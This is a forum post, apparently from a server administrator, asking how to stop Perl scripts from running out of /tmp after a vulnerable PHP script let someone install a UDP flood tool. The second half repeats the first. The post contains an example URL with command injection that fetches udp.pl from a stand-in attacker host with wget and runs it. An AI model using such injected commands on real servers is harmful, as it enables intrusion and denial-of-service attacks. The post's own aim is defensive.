Now before anyone yells, all our servers have /tmp noexec,nosuid,nodev. This is all good for compiling, running programs but heres the problem now... Many writers are writing insecure PHP journal scripts, and many other php programs which are vunerable. Lately I saw udp.pl on a server when it was a little slow. It seems they had gotten the program installed via
http://userssite.com/index.php?x=cd /tmp;wget mysuperhackerpalace.com/udp.pl;/usr/bin/perl udp.pl 127.0.0.1
Now thats not the exact script, their site, and they didnt DDos localhost. Im giving everyone an idea. Now... Anyone really poses a threat on your server now. Simple PHP Shell + udp.pl = DDos. And even if the person did not do it (the case with the insecure php script, every account poses a threat. I have basically just been searching logs, /tmp for any traces for now. What could be a fix on this? Could you somehow make perl not run scripts from tmp? Sigh.

http://userssite.com/index.php?x=cd /tmp;wget mysuperhackerpalace.com/udp.pl;/usr/bin/perl udp.pl 127.0.0.1
Now thats not the exact script, their site, and they didnt DDos localhost. Im giving everyone an idea. Now... Anyone really poses a threat on your server now. Simple PHP Shell + udp.pl = DDos. And even if the person did not do it (the case with the insecure php script, every account poses a threat. I have basically just been searching logs, /tmp for any traces for now. What could be a fix on this? Could you somehow make perl not run scripts from tmp? Sigh.